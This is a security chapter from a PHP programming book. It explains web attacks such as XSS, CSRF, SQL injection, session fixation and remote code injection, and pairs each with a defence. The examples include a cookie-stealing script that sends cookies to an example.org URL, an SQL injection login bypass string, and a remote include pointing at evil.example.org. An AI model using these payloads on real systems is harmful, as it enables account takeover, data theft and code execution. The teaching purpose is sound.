Chapter 10

Security

Ben Parker once advised his young nephew Peter, whose super-hero alter ego is Spider-man, that "with great power comes great responsibility." So it is with security in PHP applications. PHP provides a rich toolset with immense power—some have argued that it is perhaps *too much* power—and this power, when used with careful attention to detail, allows for the creation of complex and robust applications. Without this attention to detail, though, malicious users can use PHP's power to their advantage, attacking applications in a variety of ways. This chapter examines some of these attack vectors, providing you with the means to mitigate and even eliminate most attacks.

It is important to understand that we do not expect this chapter to provide an exhaustive coverage of *all* the security topics that PHP developers must be aware of. This is, as we mentioned in the foreword, true of all chapters in this book, but we think it's worth a reminder because of the potentially serious consequences of security-related bugs.

Concepts and Practices

Before analyzing specific attacks and how to protect against them, it is necessary to have a foundation on some basic principles of Web application security. These principles are not difficult to grasp, but they require a particular mindset about data; simply put, a security-conscious mindset assumes that all data received in input is

tainted and this data must be filtered before use and escaped when leaving the application. Understanding and practicing these concepts is essential to ensure the security of your applications.

All Input Is Tainted

Perhaps the most important concept in any transaction is that of trust. Do you trust the data being processed? Can you? This answer is easy if you know the origin of the data. In short, if the data originates from a foreign source such as user form input, the query string, or even an RSS feed, it cannot be trusted. It is *tainted* data.

Data from these sources—and many others—is tainted because it is not certain whether it contains characters that might be executed in the wrong context. For example, a query string value might contain data that was manipulated by a user to contain Javascript that, when echoed to a Web browser, could have harmful consequences.

As a general rule of thumb, the data in all of PHP's superglobals arrays should be considered tainted. This is because either all or some of the data provided in the superglobal arrays comes from an external source. Even the `$_SERVER` array is not fully safe, because it contains some data provided by the client. The one exception to this rule is the `$_SESSION` superglobal array, which is persisted on the server and never over the Internet.

Before processing tainted data, it is important to filter it. Once the data is filtered, then it is considered safe to use. There are two approaches to filtering data: the whitelist approach and the blacklist approach.

Whitelist vs. Blacklist Filtering

Two common approaches to filtering input are whitelist and blacklist filtering. The blacklist approach is the less restrictive form of filtering that assumes the programmer knows everything that should not be allowed to pass through. For example, some forums filter profanity using a blacklist approach. That is, there is a specific set of words that are considered inappropriate for that forum; these words are filtered out. However, any word that is not in that list is allowed. Thus, it is necessary to add new words to the list from time to time, as moderators see fit. This example may not directly correlate to specific problems faced by programmers attempting to

mitigate attacks, but there is an inherent problem in blacklist filtering that is evident here: blacklists must be modified continually, and expanded as new attack vectors become apparent.

On the other hand, whitelist filtering is much more restrictive, yet it affords the programmer the ability to accept only the input he expects to receive. Instead of identifying data that is unacceptable, a whitelist identifies only the data that is acceptable. This is information you already have when developing an application; it may change in the future, but you maintain control over the parameters that change and are not left to the whims of would-be attackers. Since you control the data that you accept, attackers are unable to pass any data other than what your whitelist allows. For this reason, whitelists afford stronger protection against attacks than blacklists.

Filter Input

Since all input is tainted and cannot be trusted, it is necessary to filter your input to ensure that input received is input expected. To do this, use a whitelist approach, as described earlier. As an example, consider the following HTML form:

```
<form method="POST">
Username: <input type="text" name="username" /><br />
Password: <input type="text" name="password" /><br />
Favourite colour:
<select name="colour">
  <option>Red</option>
  <option>Blue</option>
  <option>Yellow</option>
  <option>Green</option>
</select><br />
<input type="submit" />
</form>
```

This form contains three input elements: `username`, `password`, and `colour`. For this example, `username` should contain only alphabetic characters, `password` should contain only alphanumeric characters, and `colour` should contain any of "Red," "Blue," "Yellow," or "Green." It is possible to implement some client-side validation code using JavaScript to enforce these rules, but, as described later in the section on

spoofed forms, it is not always possible to force users to use only your form and, thus, your client-side rules. Therefore, server-side filtering is important for security, while client-side validation is important for usability.

To filter the input received with this form, start by initializing a blank array. It is important to use a name that sets this array apart as containing only filtered data; this example uses the name `$clean`. Later in your code, when encountering the variable `$clean['username']`, you can be certain that this value has been filtered. If, however, you see `$_POST['username']` used, you cannot be certain that the data is trustworthy. Thus, discard the variable and use the one from the `$clean` array instead. The following code example shows one way to filter the input for this form:

```
$clean = array();

if (ctype_alpha($_POST['username']))
{
  $clean['username'] = $_POST['username'];
}

if (ctype_alnum($_POST['password']))
{
  $clean['password'] = $_POST['password'];
}

$colours = array('Red', 'Blue', 'Yellow', 'Green');
if (in_array($_POST['colour'], $colours))
{
  $clean['colour'] = $_POST['colour'];
}
```

Filtering with a whitelist approach places the control firmly in your hands and ensures that your application will not receive bad data. If, for example, someone tries to pass a username or colour that is not allowedto the processing script, the worst than can happen is that the `$clean` array will not contain a value for `username` or `colour`. If `username` is required, then simply display an error message to the user and ask them to provide correct data. You should force the user to provide correct information rather than trying to clean and sanitize it on your own. If you attempt to sanitize the data, you may end up with bad data, and you'll run into the same problems that result with the use of blacklists.

Escape Output

Output is anything that leaves your application, bound for a client. The client, in this case, is anything from a Web browser to a database server, and just as you should filter all incoming data, you should escape all outbound data. Whereas filtering input protects your application from bad or harmful data, escaping output protects the client and user from potentially damaging commands.

Escaping output should not be regarded as part of the filtering process, however. These two steps, while equally important, serve distinct and different purposes. Filtering ensures the validity of data coming into the application; escaping protects you and your users from potentially harmful attacks. Output must be escaped because clients—Web browsers, database servers, and so on—often take action when encountering special characters. For Web browsers, these special characters form HTML tags; for database servers, they may include quotation marks and SQL keywords. Therefore, it is necessary to know the intended destination of output and to escape accordingly.

Escaping output intended for a database will not suffice when sending that same output to a Web browser—data must be escaped according to its destination. Since most PHP applications deal primarily with the Web and databases, this section will focus on escaping output for these mediums, but you should always be aware of the destination of your output and any special characters or commands that destination may accept and act upon—and be ready escape those characters or commands accordingly.

To escape output intended for a Web browser, PHP provides `htmlspecialchars()` and `htmlentities()`, the latter being the most exhaustive and, therefore, recommended function for escaping. The following code example illustrates the use of `htmlentities()` to prepare output before sending it to the browser. Another concept illustrated is the use of an array specifically designed to store output. If you prepare output by escaping it and storing it to a specific array, you can then use the latter's contents without having to worry about whether the output has been escaped. If you encounter a variable in your script that is being outputted and is not part of this array, then it should be regarded suspiciously. This practice will help make your code easier to read and maintain. For this example, assume that the value for `$user_message` comes from a database result set.

```
$html = array();
$html['message'] = htmlentities($user_message, ENT_QUOTES, 'UTF-8');

echo $html['message'];
```

Escape output intended for a database server, such as in an SQL statement, with the database-driver-specific `*_escape_string()` function; when possible, use prepared statements. Since PHP 5.1 includes PHP Data Objects (PDO), you may use prepared statements for all database engines for which there is a PDO driver. If the database engine does not natively support prepared statements, then PDO emulates this feature transparently for you.

The use of prepared statements allows you to specify placeholders in an SQL statement. This statement can then be used multiple times throughout an application, substituting new values for the placeholders, each time. The database engine (or PDO, if emulating prepared statements) performs the hard work of actually escaping the values for use in the statement. The *Database Programming* chapter contains more information on prepared statements, but the following code provides a simple example for binding parameters to a prepared statement.

```
// First, filter the input
$clean = array();

if (ctype_alpha($_POST['username']))
{
  $clean['username'] = $_POST['username'];
}

// Set a named placeholder in the SQL statement for username
$sql = 'SELECT * FROM users WHERE username = :username';

// Assume the database handler exists; prepare the statement
$stmt = $dbh->prepare($sql);

// Bind a value to the parameter
$stmt->bindParam(':username', $clean['username']);

// Execute and fetch results
$stmt->execute();
$results = $stmt->fetchAll();
```

Register Globals

When set to `On`, the `register_globals` configuration directive automatically injects variables into scripts. That is, all variables from the query string, posted forms, session store, cookies, and so on are available in what appear to be locally-named variables. Thus, if variables are not initialized before use, it is possible for a malicious user to set script variables and compromise an application.

Consider the following code used in an environment where `register_globals` is set to `On`. The `$loggedin` variable is not initialized, so a user for whom `checkLogin()` would fail can easily set `$loggedin` by passing `loggedin=1` through the query string. In this way, anyone can gain access to a restricted portion of the site. To mitigate this risk, simply set `$loggedin = FALSE` at the top of the script or turn off `register_globals`, which is the preferred approach. While setting `register_globals` to `Off` is the preferred approached, it is a best practice to always initialize variables.

```
if (checkLogin())
{
   $loggedin = TRUE;
}

if ($loggedin)
{
   // do stuff only for logged in users
}
```

Note that a by-product of having `register_globals` turned on is that it is impossible to determine the origin of input. In the previous example, a user could set `$loggedin` from the query string, a posted form, or a cookie. Nothing restricts the scope in which the user can set it, and nothing identifies the scope from which it comes. A best practice for maintainable and manageable code is to use the appropriate superglobal array for the location from which you expect the data to originate—`$_GET`, `$_POST`, or `$_COOKIE`. This accomplishes two things: first of all, you will know the origin of the data; in addition, users are forced to play by your rules when sending data to your application.

Before PHP 4.2.0, the `register_globals` configuration directive was set to `On` by default. Since then, this directive has been set to `Off` by default; as of PHP 6, it will no longer exist.

Website Security

Website security refers to the security of the elements of a website through which an attacker can interface with your application. These vulnerable points of entry include forms and URLs, which are the most likely and easiest candidates for a potential attack. Thus, it is important to focus on these elements and learn how to protect against the improper use of your forms and URLs. In short, proper input filtering and output escaping will mitigate most of these risks.

Spoofed Forms

A common method used by attackers is a spoofed form submission. There are various ways to spoof forms, the easiest of which is to simply copy a target form and execute it from a different location. Spoofing a form makes it possible for an attacker to remove all client-side restrictions imposed upon the form in order to submit any and all manner of data to your application. Consider the following form:

```
<form method="POST" action="process.php">

<p>Street: <input type="text" name="street" maxlength="100" /></p>
<p>City: <input type="text" name="city" maxlength="50" /></p>

<p>State:
<select name="state">
    <option value="">Pick a state...</option>
    <option value="AL">Alabama</option>
    <option value="AK">Alaska</option>
    <option value="AR">Arizona</option>
    <!-- options continue for all 50 states -->
</select></p>

<p>Zip: <input type="text" name="zip" maxlength="5" /></p>

<p><input type="submit" /></p>

</form>
```

This form uses the `maxlength` attribute to restrict the length of content entered into the fields. There may also be some JavaScript validation that tests these restrictions

before submitting the form to `process.php`. In addition, the `select` field contains a set list of values, as defined by the form. It's a common mistake to assume that these are the only values that the form can submit. However, as mentioned earlier, it is possible to reproduce this form at another location and submit it by modifying the action to use an absolute URL. Consider the following version of the same form:

```
<form method="POST" action="http://example.org/process.php">

<p>Street: <input type="text" name="street" /></p>
<p>City: <input type="text" name="city" /></p>
<p>State: <input type="text" name="state" /></p>
<p>Zip: <input type="text" name="zip" /></p>

<p><input type="submit" /></p>

</form>
```

In this version of the form, all client-side restrictions have been removed, and the user may enter any data, which will then be sent to `http://example.org/process.php`, the original processing script for the form.

As you can see, spoofing a form submission is very easy to do—and it is also virtually impossible to protect against. You may have noticed, though, that it is possible to check the `REFERER` header within the `$_SERVER` superglobal array. While this may provide *some* protection against an attacker who simply copies the form and runs it from another location, even a moderately crafty hacker will be able to easily circumvent it. Suffice to say that, since the `Referer` header is sent by the client, it is easy to manipulate, and its expected value is always apparent: `process.php` will expect the referring URL to be that of the original form page.

Despite the fact that spoofed form submissions are hard to prevent, it is not necessary to deny data submitted from sources other than your forms. It is necessary, however, to ensure that all input plays by your rules. Do not merely rely upon client-side validation techniques. Instead, this reiterates the importance of filtering all input. Filtering input ensures that all data must conform to a list of acceptable values, and even spoofed forms will not be able to get around your server-side filtering rules.

Cross-Site Scripting

Cross-site scripting (XSS) is one of the most common and best known kinds of attacks. The simplicity of this attack and the number of vulnerable applications in existence make it very attractive to malicious users. An XSS attack exploits the user's trust in the application and is usually an effort to steal user information, such as cookies and other personally identifiable data. All applications that display input are at risk.

Consider the following form, for example. This form might exist on any of a number of popular community websites that exist today, and it allows a user to add a comment to another user's profile. After submitting a comment, the page displays all of the comments that were previously submitted, so that everyone can view all of the comments left on the user's profile.

```
<form method="POST" action="process.php">

<p>Add a comment:</p>
<p><textarea name="comment"></textarea></p>

<p><input type="submit" /></p>

</form>
```

Imagine that a malicious user submits a comment on someone's profile that contains the following content:

```
<script>
document.location = ''http://example.org/getcookies.php?cookies=''
  + document.cookie;
</script>
```

Now, everyone visiting this user's profile will be redirected to the given URL and their cookies (including any personally identifiable information and login information) will be appended to the query string. The attacker can easily access the cookies with `$_GET['cookies']` and store them for later use. This attack works only if the application fails to escape output. Thus, it is easy to prevent this kind of attack with proper output escaping.

Cross-Site Request Forgeries

A cross-site request forgery (CSRF) is an attack that attempts to cause a victim to unknowingly send arbitrary HTTP requests, usually to URLs requiring privileged access and using the existing session of the victim to determine access. The HTTP request then causes the victim to execute a particular action based on his or her level of privilege, such as making a purchase or modifying or removing information.

Whereas an XSS attack exploits the user's trust in an application, a forged request exploits an application's trust in a user, since the request appears to be legitimate and it is difficult for the application to determine whether the user intended for it to take place. While proper escaping of output will prevent your application from being used as the vehicle for a CSRF attack, it will not prevent your application from receiving forged requests. Thus, your application needs the ability to determine whether the request was intentional and legitimate or possibly forged and malicious.

Before examining the means to protect against forged requests, it may be helpful to understand how such an attack occurs. Consider the following example.

Suppose you have a Web site in which users register for an account and then browse a catalog of books for purchase. Again, suppose that a malicious user signs up for an account and proceeds through the process of purchasing a book from the site. Along the way, she might learn the following through casual observation:

- She must log in to make a purchase.
- After selecting a book for purchase, she clicks the buy button, which redirects her through `checkout.php`.
- She sees that the action to `checkout.php` is a POST action but wonders whether passing parameters to `checkout.php` through the query string (GET) will work.
- When passing the same form values through the query string (i.e. `checkout.php?isbn=0312863551&qty=1`), she notices that she has, in fact, successfully purchased a book.

With this knowledge, the malicious user can cause others to make purchases at your site without their knowledge. The easiest way to do this is to use an image tag to embed an image in some arbitrary Web site other than your own (although, at times,

your own site may be used for such an attack). In the following code, the `src` of the `img` tag makes a request when the page loads.

```
<img src="http://example.org/checkout.php?isbn=0312863551&qty=1" />
```

Even though this `img` tag is embedded on a different Web site, it still continues to make the request to the book catalog site. For most people, the request will fail because users must be logged in to make a purchase, but, for those users who do happen to be logged into the site (through a cookie or active session), this attack exploits the Web site's trust in that user and causes them to make a purchase. The solution for this particular type of attack, however, is simple: force the use of POST over GET. This attack works because `checkout.php` uses the `$_REQUEST` superglobal array to access `isbn` and `qty`. Using `$_POST` will mitigate the risk of this kind of attack, but it won't protect against all forged requests.

Other, more sophisticated attacks can make POST requests just as easily as GET, but a simple token method can block these attempts and force users to use your forms. The token method involves the use of a randomly generated token that is stored in the user's session when the user accesses the form page and is also placed in a hidden field on the form. The processing script checks the token value from the posted form against the value in the user's session. If it matches, then the request is valid. If not, then it is suspect and the script should not process the input and, instead, should display an error to the user. The following snippet from the aforementioned form illustrates the use of the token method:

```
<?php

session_start();
$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;

?>

<form action="checkout.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />

<!-- Remainder of form -->

</form>
```

The processing script that handles this form (`checkout.php`) can then check for the token:

```
if (isset($_SESSION['token'])
   && isset($_POST['token'])
   && $_POST['token'] == $_SESSION['token'])
{
   // Token is valid, continue processing form data
}
```

Database Security

When using a database and accepting input to create part of a database query, it is easy to fall victim to an SQL injection attack. SQL injection occurs when a malicious user experiments on a form to gain information about a database. After gaining sufficient knowledge—usually from database error messages—the attacker is equipped to exploit the form for any possible vulnerabilities by injecting SQL into form fields. A popular example is a simple user login form:

```
<form method="login.php" action="POST">
Username: <input type="text" name="username" /><br />
Password: <input type="password" name="password" /><br />
<input type="submit" value="Log In" />
</form>
```

The vulnerable code used to process this login form might look like the following:

```
$username = $_POST['username'];
$password = md5($_POST['password']);

$sql = "SELECT *
        FROM   users
        WHERE  username = '{$username}' AND
               password = '{$password}'";
```

```
/* database connection and query code */

if (count($results) > 0)
{
   // Successful login attempt
}
```

In this example, note how there is no code to filter the `$_POST` input. Instead the raw input is stored directly to the `$username` variable. This raw input is then used in the SQL statement—nothing is escaped. An attacker might attempt to log in using a username similar to the following:

```
username' OR 1 = 1 --
```

With this username and a blank password, the SQL statement is now:

```
SELECT *
FROM   users
WHERE  username = 'username' OR 1 = 1 --' AND
       password = 'd41d8cd98f00b204e9800998ecf8427e'
```

Since `1 = 1` is always true and - begins an SQL comment, the SQL query ignores everything after the - and successfully returns all user records. This is enough to log in the attacker. Furthermore, if the attacker knows a username, he can provide that username in this attack in an attempt to impersonate the user by gaining that user's access credentials.

SQL injection attacks are possible due to a lack of filtering and escaping. Properly filtering input and escaping the output for SQL will eliminate the risk of attack. To escape output for an SQL query, use the driver-specific `*_escape_string()` function for your database. If possible, use bound parameters. For more information on bound parameters, see the Escape Output section earlier in this chapter or the *Database Programming* chapter.

Session Security

Two popular forms of session attacks are *session fixation* and *session hijacking*. Whereas most of the other attacks described in this chapter can be prevented by filtering input and escaping output, session attacks cannot. Instead, it is necessary to plan for them and identify potential problem areas of your application.

Sessions are discussed in the *Web Programming* chapter.

When a user first encounters a page in your application that calls `session_start()`, a session is created for the user. PHP generates a random session identifier to identify the user, and then it sends a `Set-Cookie` header to the client. By default, the name of this cookie is `PHPSESSID`, but it is possible to change the cookie name in `php.ini` or by using the `session_name()` function. On subsequent visits, the client identifies the user with the cookie, and this is how the application maintains state.
It is possible, however, to set the session identifier manually through the query string, forcing the use of a particular session. This simple attack is called *session fixation* because the attacker fixes the session. This is most commonly achieved by creating a link to your application and appending the session identifier that the attacker wishes to give any user clicking the link.

```
<a href="http://example.org/index.php?PHPSESSID=1234">Click here</a>
```

While the user accesses your site through this session, they may provide sensitive information or even login credentials. If the user logs in while using the provided session identifier, the attacker may be able to "ride" on the same session and gain access to the user's account. This is why session fixation is sometimes referred to as "session riding." Since the purpose of the attack is to gain a higher level of privilege, the points at which the attack should be blocked are clear: every time a user's access level changes, it is necessary to regenerate the session identifier. PHP makes this a simple task with `session_regenerate_id()`.

```
session_start();
```

```
// If the user login is successful, regenerate the session ID
if (authenticate())
{
   session_regenerate_id();
}
```

While this will protect users from having their session fixed and offering easy access to any would-be attacker, it won't help much against another common session attack known as *session hijacking*. This is a rather generic term used to describe any means by which an attacker gains a user's valid session identifier (rather than providing one of his own).

For example, suppose that a user logs in. If the session identifier is regenerated, they have a new session ID. What if an attacker discovers this new ID and attempts to use it to gain access through that user's session? It is then necessary to use other means to identify the user.

One way to identify the user in addition to the session identifier is to check various request headers sent by the client. One request header that is particularly helpful and does not change between requests is the `User-Agent` header. Since it is unlikely (at least in most legitimate cases) that a user will change from one browser to another while using the same session, this header can be used to determine a possible session hijacking attempt.

After a successful login attempt, store the `User-Agent` into the session:

```
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
```

Then, on subsequent page loads, check to ensure that the `User-Agent` has not changed. If it has changed, then that is cause for concern, and the user should log in again.

```
if ($_SESSION['user_agent'] != $_SERVER['HTTP_USER_AGENT'])
{
   // Force user to log in again
   exit;
}
```

Filesystem Security

PHP has the ability to directly access the filesystem and even execute shell commands. While this affords developers great power, it can be *very* dangerous when tainted data ends up in a command line. Again, proper filtering and escaping can mitigate these risks.

Remote Code Injection

When including files with `include` and `require`, pay careful attention when using possibly tainted data to create a dynamic include based on client input, because a mistake could easily allow would-be hackers to execute a remote code injection attack. A remote code injection attack occurs when an attacker is able to cause your application to execute PHP code of their choosing. This can have devastating consequences for both your application and system.

For example, many applications make use of query string variables to structure the application into sections, such as: `http://example.org/?section=news`. One such application may use an `include` statement to include a script to display the "news" section:

```
include "{$_GET['section']}/data.inc.php";
```

When using the proper URL to access this section, the script will include the file located at `news/data.inc.php`. However, consider what might happen if an attacker modified the query string to include harmful code located on a remote site? The following URL illustrates how an attacker can do this:

```
http://example.org/?section=http%3A%2F%2Fevil.example.org%2Fattack.inc%3F
```

Now, the tainted `section` value is injected into the `include` statement, effectively rendering it as such:

```
include "http://evil.example.org/attack.inc?/data.inc.php";
```

The application will include `attack.inc`, located on the remote server, which treats

/data.inc.php as part of the query string (thus effectively neutralizing its effect within your script). Any PHP code contained in attack.inc is executed and run, causing whatever harm the attacker intended.

While this attack is very powerful, effectively granting the attacker all the same privileges enjoyed by the Web server, it is easy to protect against it by filtering all input and never using tainted data in an include or require statement. In this example, filtering might be as simple as specifying a certain set of expected values for section:

```
$clean = array();
$sections = array('home', 'news', 'photos', 'blog');

if (in_array($_GET['section'], $sections))
{
  $clean['section'] = $_GET['section'];
}
else
{
  $clean['section'] = 'home';
}

include "{clean['section']}/data.inc.php";
```

The allow_url_fopen directive in PHP provides the feature by which PHP can access URLs, treating them like regular files—thus making an attack such as the one described here possible. By default, allow_url_fopen is set to On; however, it is possible to disable it in php.ini, setting it to Off, which will prevent your applications from including or opening remote URLs as files (as well as effectively disallowing many of the cool stream features described in the *Files and Streams* chapter).

Command Injection

As allowing client input to dynamically include files is dangerous, so is allowing the client to affect the use of system command execution without strict controls. While PHP provides great power with the exec(), system() and passthru() functions, as well as the ‘ (backtick) operator, these must not be used lightly, and it is important to take

great care to ensure that attackers cannot inject and execute arbitrary system commands. Again, proper filtering and escaping will mitigate the risk—a whitelist filtering approach that limits the number of commands that users may execute works quite well here. Also, PHP provides `escapeshellcmd()` and `escapeshellarg()` as a means to properly escape shell output.

When possible, avoid the use of shell commands. If they are necessary, avoid the use of client input to construct dynamic shell commands.

Shared Hosting

There are a variety of security issues that arise when using shared hosting solutions. In the past, PHP has tried to solve some of this issues with the `safe_mode` directive. However, as the PHP manual states, it "is architecturally incorrect to try to solve this problem at the PHP level." Thus, `safe_mode` will no longer be available as of PHP 6.

Still, there are three `php.ini` directives that remain important in a shared hosting environment: `open_basedir`, `disable_functions`, and `disable_classes`. These directives do not depend upon `safe_mode`, and they will remain available for the foreseable future.

The `open_basedir` directive provides the ability to limit the files that PHP can open to a specified directory tree. When PHP tries to open a file with, for example, `fopen()` or `include`, it checks the the location of the file. If it exists within the directory tree specified by `open_basedir`, then it will succeed; otherwise, it will fail to open the file. You may set the `open_basedir` directive in `php.ini` or on a per-virtual-host basis in `httpd.conf`. In the following `httpd.conf` virtual host example, PHP scripts may only open files located in the `/home/user/www` and `/usr/local/lib/php` directories (the latter is often the location of the PEAR library):

```
<VirtualHost *>
  DocumentRoot /home/user/www
  ServerName   www.example.org

  <Directory /home/user/www>
    php_admin_value open_basedir "/home/user/www/:/usr/local/lib/php/"
  </Directory>

</VirtualHost>
```

The `disable_functions` and `disable_classes` directives work similarly, allowing you to disable certain native PHP functions and classes for security reasons. Any functions or classes listed in these directives will not be available to PHP applications running on the system. You may only set these in `php.ini`. The following example illustrates the use of these directives to disable specific functions and classes:

```
; Disable functions
disable_functions = exec,passthru,shell_exec,system

; Disable classes
disable_classes = DirectoryIterator,Directory
```

Summary

This chapter covered some of the most common attacks faced by Web applications and illustrated how you can protect your applications against some of their most common variations—or, at least, to mitigate their occurrence.

Despite the many ways your applications can be attacked, four simple words can sum up most solutions to Web application security problems (though not all): *filter input, escape output*. Implementing these security best practices will allow you to make use of the great power provided by PHP, while reducing the power available to potential attackers. However, the responsibility is yours.